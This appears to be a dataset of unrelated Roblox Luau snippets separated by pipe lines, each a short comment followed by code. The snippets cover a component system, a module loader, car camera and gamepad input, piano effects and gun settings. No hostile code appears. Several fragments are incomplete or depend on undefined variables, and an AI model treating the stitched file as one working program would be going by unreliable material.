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-- v1.0 --
|
local player = game.Players.LocalPlayer
local PlayButton = script.Parent.AudioPlayerGui.PlayButton
local PauseButton = script.Parent.AudioPlayerGui.PauseButton
local VolUpButton = script.Parent.AudioPlayerGui.VolUp
local VolDownButton = script.Parent.AudioPlayerGui.VolDown
local carSeat = script.Parent.CarSeat.Value
|
--[=[
Loads Nevermore and handles loading!
This is a centralized loader that handles the following scenarios:
* Specific layouts for npm node_modules
* Layouts for node_modules being symlinked
* Multiple versions of modules being used in conjunction with each other
* Relative path requires
* Require by name
* Replication to client and server
@class Loader
]=]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerScriptService = game:GetService("ServerScriptService")
local RunService = game:GetService("RunService")
local LegacyLoader = require(script.LegacyLoader)
local StaticLegacyLoader = require(script.StaticLegacyLoader)
local LoaderUtils = require(script.LoaderUtils)
local loader, metatable
if RunService:IsRunning() then
loader = LegacyLoader.new(script)
metatable = {
__call = function(_self, value)
return loader:Require(value)
end;
__index = function(_self, key)
return loader:Require(key)
end;
}
else
loader = StaticLegacyLoader.new()
metatable = {
__call = function(_self, value)
local env = getfenv(2)
return loader:Require(env.script, value)
end;
__index = function(_self, key)
local env = getfenv(2)
return loader:Require(env.script, key)
end;
}
end
|
--Incline Compensation
|
Tune.InclineComp = 1.3 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
|
--!strict
|
local TextChatService = game:GetService("TextChatService")
local Players = game:GetService("Players")
TextChatService.OnIncomingMessage = function(message: TextChatMessage)
local props = Instance.new("TextChatMessageProperties")
if message.TextSource then
local player = Players:GetPlayerByUserId(message.TextSource.UserId)
if player:GetAttribute("isVIP") == true then
props.PrefixText = "<font color='#08fc30'>[VIP]</font> " .. message.PrefixText
end
end
return props
end
|
--[=[
Observes an attribute on an instance.
@param instance Instance
@param attributeName string
@param defaultValue any?
@return Observable<any>
]=]
|
function RxAttributeUtils.observeAttribute(instance, attributeName, defaultValue)
assert(typeof(instance) == "Instance", "Bad instance")
assert(type(attributeName) == "string", "Bad attributeName")
return Observable.new(function(sub)
local maid = Maid.new()
local function update()
local value = instance:GetAttribute(attributeName)
if value == nil then
sub:Fire(defaultValue)
else
sub:Fire(value)
end
end
maid:GiveTask(instance:GetAttributeChangedSignal(attributeName):Connect(update))
update()
return maid
end)
end
return RxAttributeUtils
|
-- Initialization
|
local MapPurgeProof = game.Workspace:FindFirstChild('MapPurgeProof')
if not MapPurgeProof then
MapPurgeProof = Instance.new('Folder', game.Workspace)
MapPurgeProof.Name = 'MapPurgeProof'
end
|
-- initialize to idle
|
PlayAnimation("Idle", 0.1, Humanoid)
Pose = "Standing"
while Figure.Parent do
local i, Time = Wait(0.1)
Move(Time)
end
|
-- Return true if:
-- "key": "value has multiple lines\n...
-- "key has multiple lines\n...
|
function hasUnmatchedDoubleQuoteMarks(string_: string): boolean
local n = 0
local i = string.find(string_, '"')
while i do
if i == 1 or string.sub(string_, i - 1, i - 1) ~= "\\" then
n = n + 1
end
i = string.find(string_, '"', i + 1)
end
return n % 2 ~= 0
end
function isFirstLineOfTag(line: string)
return string.find(line, "^[ ]*<") ~= nil
end
|
--function autoLight()
-- if Auto_Lights then
-- local dusk = {16, 18}
-- local night = {18, 6.2}
| |
-- Components will only work on instances parented under these descendants:
|
local DESCENDANT_WHITELIST = {workspace, Players}
local Component = {}
Component.__index = Component
local componentsByTag = {}
local componentByTagCreated = Signal.new()
local componentByTagDestroyed = Signal.new()
local function IsDescendantOfWhitelist(instance)
for _,v in ipairs(DESCENDANT_WHITELIST) do
if instance:IsDescendantOf(v) then
return true
end
end
return false
end
function Component.FromTag(tag)
return componentsByTag[tag]
end
function Component.ObserveFromTag(tag, observer)
local janitor = Janitor.new()
local observeJanitor = Janitor.new()
janitor:Add(observeJanitor)
local function OnCreated(component)
if component._tag == tag then
observer(component, observeJanitor)
end
end
local function OnDestroyed(component)
if component._tag == tag then
observeJanitor:Cleanup()
end
end
do
local component = Component.FromTag(tag)
if component then
task.spawn(OnCreated, component)
end
end
janitor:Add(componentByTagCreated:Connect(OnCreated))
janitor:Add(componentByTagDestroyed:Connect(OnDestroyed))
return janitor
end
function Component.Auto(folder)
local function Setup(moduleScript)
local m = require(moduleScript)
assert(type(m) == "table", "Expected table for component")
assert(type(m.Tag) == "string", "Expected .Tag property")
Component.new(m.Tag, m, m.RenderPriority, m.RequiredComponents)
end
for _,v in ipairs(folder:GetDescendants()) do
if v:IsA("ModuleScript") then
Setup(v)
end
end
folder.DescendantAdded:Connect(function(v)
if v:IsA("ModuleScript") then
Setup(v)
end
end)
end
function Component.new(tag, class, renderPriority, requireComponents)
assert(type(tag) == "string", "Argument #1 (tag) should be a string; got " .. type(tag))
assert(type(class) == "table", "Argument #2 (class) should be a table; got " .. type(class))
assert(type(class.new) == "function", "Class must contain a .new constructor function")
assert(type(class.Destroy) == "function", "Class must contain a :Destroy function")
assert(componentsByTag[tag] == nil, "Component already bound to this tag")
local self = setmetatable({}, Component)
self._janitor = Janitor.new()
self._lifecycleJanitor = Janitor.new()
self._tag = tag
self._class = class
self._objects = {}
self._instancesToObjects = {}
self._hasHeartbeatUpdate = (type(class.HeartbeatUpdate) == "function")
self._hasSteppedUpdate = (type(class.SteppedUpdate) == "function")
self._hasRenderUpdate = (type(class.RenderUpdate) == "function")
self._hasInit = (type(class.Init) == "function")
self._hasDeinit = (type(class.Deinit) == "function")
self._renderPriority = renderPriority or Enum.RenderPriority.Last.Value
self._requireComponents = requireComponents or {}
self._lifecycle = false
self._nextId = 0
self.Added = Signal.new(self._janitor)
self.Removed = Signal.new(self._janitor)
local observeJanitor = Janitor.new()
self._janitor:Add(observeJanitor)
local function ObserveTag()
local function HasRequiredComponents(instance)
for _,reqComp in ipairs(self._requireComponents) do
local comp = Component.FromTag(reqComp)
if comp:GetFromInstance(instance) == nil then
return false
end
end
return true
end
observeJanitor:Add(CollectionService:GetInstanceAddedSignal(tag):Connect(function(instance)
if IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance) then
self:_instanceAdded(instance)
end
end))
observeJanitor:Add(CollectionService:GetInstanceRemovedSignal(tag):Connect(function(instance)
self:_instanceRemoved(instance)
end))
for _,reqComp in ipairs(self._requireComponents) do
local comp = Component.FromTag(reqComp)
observeJanitor:Add(comp.Added:Connect(function(obj)
if CollectionService:HasTag(obj.Instance, tag) and HasRequiredComponents(obj.Instance) then
self:_instanceAdded(obj.Instance)
end
end))
observeJanitor:Add(comp.Removed:Connect(function(obj)
if CollectionService:HasTag(obj.Instance, tag) then
self:_instanceRemoved(obj.Instance)
end
end))
end
observeJanitor:Add(function()
self:_stopLifecycle()
for instance in pairs(self._instancesToObjects) do
self:_instanceRemoved(instance)
end
end)
do
local b = Instance.new("BindableEvent")
for _,instance in ipairs(CollectionService:GetTagged(tag)) do
if IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance) then
local c = b.Event:Connect(function()
self:_instanceAdded(instance)
end)
b:Fire()
c:Disconnect()
end
end
b:Destroy()
end
end
if #self._requireComponents == 0 then
ObserveTag()
else
-- Only observe tag when all required components are available:
local tagsReady = {}
local function Check()
for _,ready in pairs(tagsReady) do
if not ready then
return
end
end
ObserveTag()
end
local function Cleanup()
observeJanitor:Cleanup()
end
for _,requiredComponent in ipairs(self._requireComponents) do
tagsReady[requiredComponent] = false
end
for _,requiredComponent in ipairs(self._requireComponents) do
self._janitor:Add(Component.ObserveFromTag(requiredComponent, function(_component, janitor)
tagsReady[requiredComponent] = true
Check()
janitor:Add(function()
tagsReady[requiredComponent] = false
Cleanup()
end)
end))
end
end
componentsByTag[tag] = self
componentByTagCreated:Fire(self)
self._janitor:Add(function()
componentsByTag[tag] = nil
componentByTagDestroyed:Fire(self)
end)
return self
end
function Component:_startHeartbeatUpdate()
local all = self._objects
self._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt)
for _,v in ipairs(all) do
v:HeartbeatUpdate(dt)
end
end)
self._lifecycleJanitor:Add(self._heartbeatUpdate)
end
function Component:_startSteppedUpdate()
local all = self._objects
self._steppedUpdate = RunService.Stepped:Connect(function(_, dt)
for _,v in ipairs(all) do
v:SteppedUpdate(dt)
end
end)
self._lifecycleJanitor:Add(self._steppedUpdate)
end
function Component:_startRenderUpdate()
local all = self._objects
self._renderName = (self._tag .. "RenderUpdate")
RunService:BindToRenderStep(self._renderName, self._renderPriority, function(dt)
for _,v in ipairs(all) do
v:RenderUpdate(dt)
end
end)
self._lifecycleJanitor:Add(function()
RunService:UnbindFromRenderStep(self._renderName)
end)
end
function Component:_startLifecycle()
self._lifecycle = true
if self._hasHeartbeatUpdate then
self:_startHeartbeatUpdate()
end
if self._hasSteppedUpdate then
self:_startSteppedUpdate()
end
if self._hasRenderUpdate then
self:_startRenderUpdate()
end
end
function Component:_stopLifecycle()
self._lifecycle = false
self._lifecycleJanitor:Cleanup()
end
function Component:_instanceAdded(instance)
if self._instancesToObjects[instance] then return end
if not self._lifecycle then
self:_startLifecycle()
end
self._nextId = (self._nextId + 1)
local id = (self._tag .. tostring(self._nextId))
if IS_SERVER then
instance:SetAttribute(ATTRIBUTE_ID_NAME, id)
end
local obj = self._class.new(instance)
obj.Instance = instance
obj._id = id
self._instancesToObjects[instance] = obj
table.insert(self._objects, obj)
if self._hasInit then
task.defer(function()
if self._instancesToObjects[instance] ~= obj then return end
obj:Init()
end)
end
self.Added:Fire(obj)
return obj
end
function Component:_instanceRemoved(instance)
if not self._instancesToObjects[instance] then return end
self._instancesToObjects[instance] = nil
for i,obj in ipairs(self._objects) do
if obj.Instance == instance then
if self._hasDeinit then
obj:Deinit()
end
if IS_SERVER and instance.Parent and instance:GetAttribute(ATTRIBUTE_ID_NAME) ~= nil then
instance:SetAttribute(ATTRIBUTE_ID_NAME, nil)
end
self.Removed:Fire(obj)
obj:Destroy()
obj._destroyed = true
TableUtil.FastRemove(self._objects, i)
break
end
end
if #self._objects == 0 and self._lifecycle then
self:_stopLifecycle()
end
end
function Component:GetAll()
return TableUtil.CopyShallow(self._objects)
end
function Component:GetFromInstance(instance)
return self._instancesToObjects[instance]
end
function Component:GetFromID(id)
for _,v in ipairs(self._objects) do
if v._id == id then
return v
end
end
return nil
end
function Component:Filter(filterFunc)
return TableUtil.Filter(self._objects, filterFunc)
end
function Component:WaitFor(instance, timeout)
local isName = (type(instance) == "string")
local function IsInstanceValid(obj)
return ((isName and obj.Instance.Name == instance) or ((not isName) and obj.Instance == instance))
end
for _,obj in ipairs(self._objects) do
if IsInstanceValid(obj) then
return Promise.Resolve(obj)
end
end
local lastObj = nil
return Promise.FromEvent(self.Added, function(obj)
lastObj = obj
return IsInstanceValid(obj)
end):Then(function()
return lastObj
end):Timeout(timeout or DEFAULT_WAIT_FOR_TIMEOUT)
end
function Component:Observe(instance, observer)
local janitor = Janitor.new()
local observeJanitor = Janitor.new()
janitor:Add(observeJanitor)
janitor:Add(self.Added:Connect(function(obj)
if obj.Instance == instance then
observer(obj, observeJanitor)
end
end))
janitor:Add(self.Removed:Connect(function(obj)
if obj.Instance == instance then
observeJanitor:Cleanup()
end
end))
for _,obj in ipairs(self._objects) do
if obj.Instance == instance then
task.spawn(observer, obj, observeJanitor)
break
end
end
return janitor
end
function Component:Destroy()
self._janitor:Destroy()
end
return Component
|
--Values
|
local Open = script.Parent.Open.Value
local Ready = script.Parent.Ready.Value
|
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
function UnDigify(digit)
if digit < 1 or digit > 61 then
return ""
elseif digit == 1 then
return "1"
elseif digit == 2 then
return "!"
elseif digit == 3 then
return "2"
elseif digit == 4 then
return "@"
elseif digit == 5 then
return "3"
elseif digit == 6 then
return "4"
elseif digit == 7 then
return "$"
elseif digit == 8 then
return "5"
elseif digit == 9 then
return "%"
elseif digit == 10 then
return "6"
elseif digit == 11 then
return "^"
elseif digit == 12 then
return "7"
elseif digit == 13 then
return "8"
elseif digit == 14 then
return "*"
elseif digit == 15 then
return "9"
elseif digit == 16 then
return "("
elseif digit == 17 then
return "0"
elseif digit == 18 then
return "q"
elseif digit == 19 then
return "Q"
elseif digit == 20 then
return "w"
elseif digit == 21 then
return "W"
elseif digit == 22 then
return "e"
elseif digit == 23 then
return "E"
elseif digit == 24 then
return "r"
elseif digit == 25 then
return "t"
elseif digit == 26 then
return "T"
elseif digit == 27 then
return "y"
elseif digit == 28 then
return "Y"
elseif digit == 29 then
return "u"
elseif digit == 30 then
return "i"
elseif digit == 31 then
return "I"
elseif digit == 32 then
return "o"
elseif digit == 33 then
return "O"
elseif digit == 34 then
return "p"
elseif digit == 35 then
return "P"
elseif digit == 36 then
return "a"
elseif digit == 37 then
return "s"
elseif digit == 38 then
return "S"
elseif digit == 39 then
return "d"
elseif digit == 40 then
return "D"
elseif digit == 41 then
return "f"
elseif digit == 42 then
return "g"
elseif digit == 43 then
return "G"
elseif digit == 44 then
return "h"
elseif digit == 45 then
return "H"
elseif digit == 46 then
return "j"
elseif digit == 47 then
return "J"
elseif digit == 48 then
return "k"
elseif digit == 49 then
return "l"
elseif digit == 50 then
return "L"
elseif digit == 51 then
return "z"
elseif digit == 52 then
return "Z"
elseif digit == 53 then
return "x"
elseif digit == 54 then
return "c"
elseif digit == 55 then
return "C"
elseif digit == 56 then
return "v"
elseif digit == 57 then
return "V"
elseif digit == 58 then
return "b"
elseif digit == 59 then
return "B"
elseif digit == 60 then
return "n"
elseif digit == 61 then
return "m"
else
return "?"
end
end
function IsBlack(note)
if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then
return true
end
end
local TweenService = game:GetService("TweenService")
function Tween(obj,Goal,Time,Wait,...)
local TwInfo = TweenInfo.new(Time,...)
local twn = TweenService:Create(obj, TwInfo, Goal)
twn:Play()
if Wait then
twn.Completed:wait()
end
return
end
function clone(part,on)
if on and part then
local cln = part:Clone()
cln.Parent = part
local obj = cln
local Properties = {}
Properties.Position = Vector3.new(cln.Position.x,cln.Position.y + 2.4,cln.Position.z)
Properties.Size = Vector3.new(cln.Size.x + 4.8,cln.Size.y,cln.Size.z)
Tween(obj,Properties,.2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,true)
cln:Destroy()
end
return
end
function HighlightPianoKey(note1,transpose)
if not Settings.KeyAesthetics then return end
local octave = math.ceil(note1/12)
local note2 = (note1 - 1)%12 + 1
local k = Piano.Case.Circles[note1]
local Upwords = true
if k then
local key = k:Clone()
key.Parent = Piano.Keys.ActiveParts
key.Transparency = 0
local obj = key
local Properties = {}
Properties.CFrame = key.CFrame + key.CFrame.lookVector * -20
Properties.Transparency = 1
Tween(obj,Properties,2,false,Enum.EasingStyle.Linear,Enum.EasingDirection.Out)
clone(key,true)
wait(.1)
clone(key,true)
wait(.1)
clone(key,true)
wait(.1)
clone(key,true)
wait(.3)
key:Destroy()
end
return
end
|
--[[ END OF SERVICES ]]
|
local LocalPlayer = PlayersService.LocalPlayer
while LocalPlayer == nil do
PlayersService.ChildAdded:wait()
LocalPlayer = PlayersService.LocalPlayer
end
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
local success, UserShouldLocalizeGameChatBubble = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeGameChatBubble")
end)
local UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble
local UserFixBubbleChatText do
local success, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFixBubbleChatText")
end)
UserFixBubbleChatText = success and value
end
local UserRoactBubbleChatBeta do
local success, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserRoactBubbleChatBeta")
end)
UserRoactBubbleChatBeta = success and value
end
local function getMessageLength(message)
return utf8.len(utf8.nfcnormalize(message))
end
|
-- Services --
|
local RunService = game:GetService("RunService")
local TweenService = game:GetService("TweenService")
|
-- ROBLOX deviation: omitting fs and types file import and defining in line instead
|
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
|
--wait(math.random(0,5)/10)
|
while true do
game:GetService("RunService").Stepped:Wait()
local target = findNearestTorso(script.Parent:WaitForChild("HumanoidRootPart").Position)
if target ~= nil then
script.Parent.Humanoid:MoveTo(target.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
wait(math.random(1,2))
end
end
|
--// Firemode Settings
|
CanSelectFire = false;
BurstEnabled = false;
SemiEnabled = true;
AutoEnabled = true;
BoltAction = false;
ExplosiveEnabled = false;
|
--[[ STATIC METHODS ]]
|
--
function Path.GetNearestCharacter(fromPosition)
local character, dist = nil, math.huge
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and (player.Character.PrimaryPart.Position - fromPosition).Magnitude < dist then
character, dist = player.Character, (player.Character.PrimaryPart.Position - fromPosition).Magnitude
end
end
return character
end
|
---Controller
|
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=200
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12
player.CameraMaxZoomDistance=5
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
else
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=70
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=70
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="u" then
look=90
elseif key=="i" then
if intcam then
look=180
else
look=195
end
elseif key=="o" then
look=-90
elseif key=="v" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
mouse.KeyUp:connect(function(key)
if key=="u" and look==90 then
look=0
elseif key=="i" and (look==180 or look==195) then
look=0
elseif key=="o" and look==-90 then
look=0
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="b" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
--// Extras
|
WalkAnimEnabled = true; -- Set to false to disable walking animation, true to enable
SwayEnabled = false; -- Set to false to disable sway, true to enable
TacticalModeEnabled = true; -- SET THIS TO TRUE TO TURN ON TACTICAL MODEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
|
-- << VARIABLES >>
|
local errors = {
Player = "Player does not exist!";
}
|
-- setup emote chat hook
|
game:GetService("Players").LocalPlayer.Chatted:connect(function(msg)
local emote = ""
if (string.sub(msg, 1, 3) == "/e ") then
emote = string.sub(msg, 4)
elseif (string.sub(msg, 1, 7) == "/emote ") then
emote = string.sub(msg, 8)
end
if (pose == "Standing" and emoteNames[emote] ~= nil) then
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
end
end)
|
-- 6-8
|
module.Subcategory.Hats = 9
module.Subcategory.Faces = 10
module.Subcategory.Shirts = 12
module.Subcategory.TShirts = 13
module.Subcategory.Pants = 14
module.Subcategory.Heads = 15
|
--------AUDIENCE BACK RIGHT--------
|
game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
-- ROBLOX MOVED: expect/jasmineUtils.lua
|
local function asymmetricMatch(a: any, b: any)
local asymmetricA = isAsymmetric(a)
local asymmetricB = isAsymmetric(b)
if asymmetricA and asymmetricB then
return nil
end
if asymmetricA then
return a:asymmetricMatch(b)
end
if asymmetricB then
return b:asymmetricMatch(a)
end
return nil
end
|
--Front--
|
local FRAtt1 = Instance.new("Attachment", FRDisk)
FRAtt1.Position = Vector3.new(0,1,0)
local FRAtt2 = Instance.new("Attachment", FRDisk)
FRAtt2.Position = Vector3.new(0,-1,0)
local FLAtt1 = Instance.new("Attachment", FLDisk)
FLAtt1.Position = Vector3.new(0,1,0)
local FLAtt2 = Instance.new("Attachment", FLDisk)
FLAtt2.Position = Vector3.new(0,-1,0)
local FDIFF1 = Instance.new("SpringConstraint", trans)
FDIFF1.Name = "ControlX"
FDIFF1.Attachment0 = FRAtt1
FDIFF1.Attachment1 = FLAtt1
local FDIFF2 = Instance.new("SpringConstraint", trans)
FDIFF2.Name = "ControlY"
FDIFF2.Attachment0 = FRAtt2
FDIFF2.Attachment1 = FLAtt2
|
--[[ Public API ]]
|
--
function Gamepad:Enable()
local forwardValue = 0
local backwardValue = 0
local leftValue = 0
local rightValue = 0
local moveFunc = LocalPlayer.Move
local gamepadSupports = UserInputService.GamepadSupports
local controlCharacterGamepad = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Cancel then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
return
end
if activateGamepad ~= inputObject.UserInputType then return end
if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end
if inputObject.Position.magnitude > thumbstickDeadzone then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)
MasterControl:AddToPlayerMovement(currentMoveVector)
else
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
end
end
local jumpCharacterGamepad = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Cancel then
MasterControl:SetIsJumping(false)
return
end
if activateGamepad ~= inputObject.UserInputType then return end
if inputObject.KeyCode ~= Enum.KeyCode.ButtonA then return end
MasterControl:SetIsJumping(inputObject.UserInputState == Enum.UserInputState.Begin)
end
local doDpadMoveUpdate = function(userInputType)
if LocalPlayer and LocalPlayer.Character then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
MasterControl:AddToPlayerMovement(currentMoveVector)
end
end
local moveForwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
forwardValue = -1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
forwardValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local moveBackwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
backwardValue = 1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
backwardValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local moveLeftFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
leftValue = -1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
leftValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local moveRightFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
rightValue = 1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
rightValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local function setActivateGamepad()
if activateGamepad then
ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
end
assignActivateGamepad()
if activateGamepad then
ContextActionService:BindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
end
end
ContextActionService:BindAction("JumpButton",jumpCharacterGamepad, false, Enum.KeyCode.ButtonA)
ContextActionService:BindAction("MoveThumbstick",controlCharacterGamepad, false, Enum.KeyCode.Thumbstick1)
setActivateGamepad()
if not gamepadSupports(UserInputService, activateGamepad, Enum.KeyCode.Thumbstick1) then
-- if the gamepad supports thumbsticks, theres no point in having the dpad buttons getting eaten up by these actions
ContextActionService:BindAction("forwardDpad", moveForwardFunc, false, Enum.KeyCode.DPadUp)
ContextActionService:BindAction("backwardDpad", moveBackwardFunc, false, Enum.KeyCode.DPadDown)
ContextActionService:BindAction("leftDpad", moveLeftFunc, false, Enum.KeyCode.DPadLeft)
ContextActionService:BindAction("rightDpad", moveRightFunc, false, Enum.KeyCode.DPadRight)
end
gamepadConnectedCon = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if activateGamepad ~= gamepadEnum then return end
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
activateGamepad = nil
setActivateGamepad()
end)
gamepadDisconnectedCon = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if activateGamepad == nil then
setActivateGamepad()
end
end)
end
function Gamepad:Disable()
ContextActionService:UnbindAction("forwardDpad")
ContextActionService:UnbindAction("backwardDpad")
ContextActionService:UnbindAction("leftDpad")
ContextActionService:UnbindAction("rightDpad")
ContextActionService:UnbindAction("MoveThumbstick")
ContextActionService:UnbindAction("JumpButton")
ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
if gamepadConnectedCon then gamepadConnectedCon:disconnect() end
if gamepadDisconnectedCon then gamepadDisconnectedCon:disconnect() end
activateGamepad = nil
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
MasterControl:SetIsJumping(false)
end
return Gamepad
|
--Lean Gyro
|
lean = Instance.new("BodyGyro")
lean.Parent = bal
lean.Name = "LeanGyro"
lean.D = _Tune.LeanD
lean.MaxTorque = Vector3.new(0,0,_Tune.LeanMaxTorque)
lean.P = _Tune.LeanP
